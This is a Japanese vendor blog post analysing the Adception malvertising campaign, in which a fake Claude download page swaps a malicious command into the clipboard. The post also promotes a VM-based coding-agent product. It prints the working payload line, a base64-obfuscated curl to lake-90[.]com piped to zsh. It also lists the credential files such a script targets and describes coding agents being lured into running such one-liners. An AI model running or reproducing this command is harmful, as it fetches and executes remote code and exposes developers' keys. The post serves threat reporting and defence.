← すべての投稿に戻る
公開日 · 著者 Renaud Deraison

ページに表示されていたのは本物のコマンドだった

10 月 9 日、Push Security は「claude mac」の Google 検索広告について報告した。その遷移先は本物の bing.com のリンクだった。4 回のリダイレクトの先にある偽の Claude ダウンロードページは Anthropic の本物のインストールコマンドを表示しながら、コピーボタンでは別のコマンドをクリップボードに入れた。隠された URL を zsh にパイプするものだ。Push はこの手口を Adception と呼ぶ。Bromure Agentic Coding では、Claude Code は署名済みのセットアップステップによって VM の中に入り、サインインは使い捨てのマシンで行われ、誰も Mac のターミナルにインストールコマンドを打ち込まない。

ページには Anthropic のインストールコマンドが一字一句そのまま表示されて いた。コピーボタンがクリップボードに入れたのは、別のコマンドだった。

Push Security の顧客企業で、ある人が Google に「claude mac」と入力した。 最初の結果はスポンサーリンクで、その下に表示されたドメインは bing.com だった。広告は紛らわしいドメインも、Anthropic の綴り間違いも使っていなかった。 Google の広告審査は、遷移先が別の検索エンジンである広告を承認していた。

Push は 10 月 9 日木曜日にこのチェーンを 公開 し、手口を Adception と名付けた。 BleepingComputer も同じ日の午後に報じている。Push の研究者によれば、検索結果がリダイレクターと して使われる例は以前にも見ていたが、「検索広告の遷移先として使われるのは 見たことがなく、それに関する過去の公開報告も見つからなかった」。Bing の リンク内のタイムスタンプをデコードすると 10 月 5 日になる。

コピーボタンまでの 4 ホップ

クリックは 4 か所を経由した。

  1. google.com/aclk。Google の広告クリック用リダイレクト。
  2. bing.com/ck/a。本物の検索結果に付く、Bing 自身のクリック追跡リンク。 短い JavaScript ページで転送するため、ブラウザーは bing.com の リファラーを付けて次のホップに到着する。
  3. WordPress サイトを侵害された、実在する南米の小売業者の「会社概要」 ページ。適切なブラウザーヘッダーを持ち、Bing から来た訪問者だけを 転送する。
  4. claude-desk-code[.]com。Claude のダウンロードページを精巧に模した コピーで、Download for macOS ボタンと、ターミナルで 1 行で済む インストール手順が載っている。

各ホップは訪問者がどこから来たかを確認する。偽ページを直接開くと、その JavaScript が document.referrer を読み、Google も Bing も見つからない ため /404.html を返す。広告審査担当者も、スキャナーも、URL を貼り付けた 研究者も、何も目にしない。Push の言葉では、「悪意のあるペイロードは、この 特定の経路でチェーンの終点に到達した場合にしか現れなかった」。

ページには Anthropic が公開しているコマンドが表示される。

curl -fsSL https://claude.ai/install.sh | bash

コピーボタンは、代わりにこれをクリップボードに入れる。

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

ターミナルに貼り付けると、前半は Anthropic の URL を含む安心させる 1 行を 表示する。後半は lake-90[.]com 上の隠されたアドレスをデコードし、.dat ファイルを取得して zsh にパイプする。事前にスキャンできるものは何も ディスクに残らない。Push は cli-desktop[.]com や too.clawddddd[.]com を含む 8 つのおとりドメインを、同社が AcSig として追跡しているツールキットに 結び付けている。ドメインの入れ替わりが速く、「短命な IoC の価値は限られる」 とも指摘している。

おとりが AI ツールである理由

Push は Adception を InstallFix に分類している。同社が 3 月に初めて報告した ClickFix の亜種で、本来のインストールがターミナルの 1 行で済むツールの偽 インストールガイドを使う。Claude Code はその典型例だ。公式のインストール 方法がシェルにパイプする curl なので、開発者にそれをターミナルへ貼り 付けるよう求めるページは本物に見える。

Push によれば、ClickFix ページは今や同社の月間検出の半分以上を占め、 「当社が検出する ClickFix 攻撃 (InstallFix と LLMshare の亜種を含む) の 5 件に 4 件は、検索エンジン経由で被害者に届いている」。「claude mac」を 検索する人の大半は開発者であり、開発者の Mac は、そこでスクリプトを走らせる 者にとって大きな価値がある。

Push は最終的なペイロードを回収できていないので、このスクリプトが何をする のかはまだ誰にもわからない。ターミナルから起動された zsh プロセスは あなたとして、あなたのホームフォルダーとともに動く。

  • ~/.aws/credentials、~/.config/gcloud、~/.kube/config
  • ~/.ssh/id_ed25519 と ~/.git-credentials
  • gh のトークン、npm と PyPI の公開用トークン
  • すべてのチェックアウトにある .env ファイル
  • Claude Code がすでにインストールされていれば、エージェント自身のサイン イン情報
  • ブラウザーのプロファイル、Cookie、セッショントークン

しかも被害者は、インストールがうまくいったと思っている。スクリプトが最後に 本物の Claude Code をインストールすれば、何もおかしく見えない。

Mac では:リダイレクト 4 回、コピー 1 回、貼り付け 1 回1. Google 広告検索:「claude mac」表示ドメイン:bing.com2. bing.com/ck/a本物の検索結果リンクJavaScript で転送3. 小売業者の会社概要侵害された WordPressBing 経由のみ転送4. claude-desk-code[.]com偽のダウンロードページ直接アクセス:404ページに表示curl -fsSL https://claude.ai/install.sh | bashクリップボードに入るecho "Downloading Claude…" && curl $(… | base64 -d) | zshMac のターミナル:lake-90[.]com のスクリプトがあなたとして動く~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · gh トークン · npm・PyPI トークン · .env · ブラウザー画面には「Downloading Claude: https://claude.ai/install.sh」。実行前にディスクには何も書かれない。
Mac 上の Adception。各リダイレクトがリファラーを確認するので、偽ページに到達できるのは本物の広告クリックだけだ。ページは Anthropic のコマンドを表示し、攻撃者のコマンドをコピーさせ、貼り付けた 1 行が隠されたスクリプトをあなたとして実行する。

助言は負担をあなたに押し付ける

報告のあとに出たガイダンスは、いつものリストだ。ベンダーの URL は自分で 入力する。スポンサー付きの結果は疑う。貼り付けた内容は Return を押す前に 読む。ターミナルを求めるインストールページはすべて疑わしいと考える。どれも 正しい。だがそれは、新しいツールのセットアップの最中にいる開発者に、 ひと目でごまかせるように作られたページを上回る注意力で読むことを求める。 画面上のコマンドは Anthropic のものだった。広告のドメインは Bing のもの だった。リダイレクトは実在する小売業者を経由していた。そのひとつひとつを 確かめた慎重な開発者でも、おかしな点は何も見つけられなかっただろう。

Bromure は、この攻撃が依存しているステップそのものを取り除く。開発者が、 自分の鍵を保持している Mac のターミナルに、コーディングエージェントの インストールコマンドを貼り付けるというステップだ。

Mac で Claude Code を、Mac にインストールせずに

Bromure Agentic Coding は、Claude Code、Codex、Grok、Kimi Code、Oh My Pi を Mac 上の Linux VM の中で動かす。どれも Mac のターミナルを経由して そこに入るわけではない。

アプリは公証済みのディスクイメージ

Bromure Agentic Coding は、bromure.io から署名済み・公証済みの DMG として 配布される。アプリケーションフォルダーにドラッグすれば、Gatekeeper は警告 なしにそれを開く。マニュアルは、それ以外のコピーをどう扱うべきかを示して いる。「bromure.io 以外の場所から入手した DMG で Gatekeeper が警告を出した なら、回避すべきものではなく危険信号として扱ってください」。その後、 アプリは Sparkle で自動更新され、各アップデートをインストール前に Bromure の署名鍵で検証する。インストール全体にコマンドが 1 つもないので、誰かが すり替えられるコピーボタンも存在しない。

エージェントは署名済みのセットアップステップとして届く

初回起動時、セットアップウィザードは Bromure のベースイメージである Ubuntu 24.04 のディスクをダウンロードし、その SHA-256 を検証する。続いて、 カタログに列挙されたセットアップステップとして、エージェントをあなたの イメージのコピーにインストールする。カタログには ed25519 の署名が付いて いる。アプリのアップデートに署名するのと同じ鍵によるもので、署名はすべての セットアップコマンドを対象にしている。アプリは、署名のないカタログや改変 されたカタログ、そして一度受け入れたものより古いカタログを拒否する。

Claude Code のステップは、Socket.dev のサプライチェーンスキャナーで包んだ npm インストールで、ヘルパー VM の中で実行される。誰も貼り付けないし、 改ざんされたダウンロードサーバーがそれを変えることもできない。実行中、 ウィザードのセットアップステップには「Customizing the image: installing packages…」と表示される。

あとでエージェントがマシン内で npm install -g によって自身を更新するとき、 そのリクエストは他のパッケージ取得と同じく、Mac 上の Bromure のプロキシを 通る。プロキシは 1 バイトでも VM に届く前に、マシンのサプライチェーン ポリシー (経過日数ゲート、OSV、Socket.dev、Depi のうち有効にしたもの) を 適用し、その取得を Security Timeline に記録する。

サインインは使い捨てのマシンで行われる

Claude Code のインストールガイドはログインで終わる。Bromure では、 ウィザードの Models ステップがそれを担う。Anthropic のサインインを選び、 開いたブラウザーページで完了させ、Claude の Signed in to を待つ。 マニュアルはその裏側をこう説明している。「サインインはあなたの Mac 上の、 隠れた一時マシンの中で行われます。ターミナルを目にすることはありません」。 プロバイダー自身の CLI がその VM の中でログインを行う。Bromure はホスト側で トークンを取得して暗号化し、VM を削除する。

サインイン情報は、Mac の Data Protection Keychain に保管されたマスター鍵の もとで AES-GCM により暗号化されたファイルに保存される。マスター鍵はこの デバイス専用で、iCloud 同期はオフだ。ホームフォルダーに、スクリプトが拾える ~/.claude のトークンファイルは置かれず、各マシンにはそれぞれ専用の代用値が 渡される。

Bromure では:Mac で Claude Code、ターミナルへの貼り付けなしアプリ署名・公証済みの DMGbromure.io からアプリケーションへ移動、Gatekeeper が開くSparkle で更新、Bromure の鍵で検証コピーするコマンドなしセットアップ (Mac 上)ed25519 署名のカタログ:全コマンドが対象Claude Code:npm installSocket.dev 経由、ヘルパー VMサインイン:隠れた一時 VMトークンをホストで暗号化VM は削除マシンの VM (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…代用値であり鍵ではないnpm install -g (自己更新)→ プロキシのチェック→ Security TimelineKeychain のマスター鍵で暗号化して Mac に保管 (このデバイスのみ)サブスクのサインイン · API キー · git とクラウドの認証情報 · SSH 鍵 · トレース
Bromure で同じことをする場合。アプリは公証済みの DMG、エージェントはイメージ内の署名済みステップでインストールされ、サインインはあとで削除される VM の中で行われる。ターミナルにコマンドを貼り付けるよう求めるステップは 1 つもない。

エージェントがインストーラーを探しに行くとき

Adception が狙うのは、検索ボックスの前にいる人間だ。コーディング エージェントもインストール手順を調べるし、人間より頻繁に調べる。足りない CLI、新しい SDK、README に書かれたリンター。エージェントはコピーボタンを 押す代わりにページの HTML を読むが、InstallFix のページは悪意のある コマンドをページのソースに含んでいるし、次のキャンペーンはクリップボードの 小細工すら使わないかもしれない。

Bromure マシン内のエージェントが claude-desk-code[.]com のようなページを 見つけ、その 1 行コマンドを実行したとしよう。そのスクリプトとあなたの鍵の あいだには 4 つの層がある。

スクリプトは代用値を持つ Linux ゲストで動く

マシンは Ubuntu の VM で、スクリプトはその Linux ゲストの中で動く。その ホームフォルダーにあるのは、プロジェクトのチェックアウトと、いつもの名前の brm_ の代用値だ。ANTHROPIC_API_KEY、GH_TOKEN、 AWS_SECRET_ACCESS_KEY。本物の値は暗号化されたまま Mac に残り、プロキシは 各認証情報の発行先ホストへのリクエストに対してだけ、それを通信路に載せる。 見つけたトークンを片っ端から集めるスクリプトが集めるのは、どのサーバーも 受け付けない文字列だ。

誤ったホストへ向かう代用値はマシンを止める

プロキシは送信されるすべてのリクエストのリクエスト行、ヘッダー、ボディを 調べ、属していないホストへ向かう代用値を探す。スクリプトが収穫物を攻撃者の サーバーへ送ると、プロキシは HTTP 451 を返し、何も転送せず、VM を一時停止 して、Mac に This environment may have been compromised を開く。そこには トークン、その認証情報、それが属するホスト、送信先のホストが表示される。

ペイロードのホストは最初からリストにない

マシンの Guardrails ペインには Outbound connections のファイア ウォールがあり、ホスト、IP 範囲、プロトコル、ポートごとにルールを設定できる。 Unmatched traffic を Deny にし、モデルプロバイダー、レジストリ、 GitHub を許可すれば、lake-90[.]com への curl は接続すらできない。その 判定は Security Timeline の、リクエストを出したセッションの隣に 記録される。

ホームフォルダーは巻き戻せる

マシンは起動のたびに、ホームフォルダーのロールバックポイントを作る。 マシンをシャットダウンし、Rewind home… を選び、スクリプトが動く前の 起動を選べば、次の起動はそのホームから立ち上がる。現在のホームは先に新しい ポイントとして保存されるので、巻き戻し自体も取り消せる。最初からやり直す なら、マシンをベースイメージにリセットすればよい。

貼り付けるインストールコマンドはない

Bromure は bromure.io から公証済みの DMG として配布され、署名済みの Sparkle リリースで自動更新される。セットアップのどこにも、ターミナルを 開くよう求める場面はない。

エージェントは署名済みカタログから

Claude Code などのエージェントは、ed25519 署名の対象となるコマンドを 持つセットアップステップによってベースイメージにインストールされる。 改ざんされたサーバーはそれを変えられない。

サインインは使い捨ての VM で

プロバイダーのログインは隠れた一時マシンの中で行われる。トークンは Mac 上で Keychain の鍵のもとで暗号化され、各マシンには代用値が渡される。

悪い 1 行は VM に着地する

それでもエージェントが実行してしまったら、それは代用値しかない Linux の中で、Mac 上のファイアウォールと侵害検知の背後で動き、ホームフォルダー は巻き戻せる。

次の検索広告

Push が Adception を見つけたのは、ある 1 社の顧客の 1 回のクリック、1 つの 検索語を狙ったおとりからだった。AcSig ツールキットには 8 つのドメインが あり、同じページは「codex mac」や「gemini cli install」、あるいは来月 開発者が検索するどんなツールにも使える。今回 Google が承認したのは Bing の リンクだった。次の広告は、広告審査担当者が信頼する別のドメインを指すかも しれない。

コーディングエージェントはアプリとして一度だけインストールし、セットアップ が署名され、鍵が代用値である場所で動かそう。貼り付けられるコマンドと借り 物の信頼については、クリップボードがエクスプロイトである と 彼らはあなたのエージェントをリストに加えた を読んでほしい。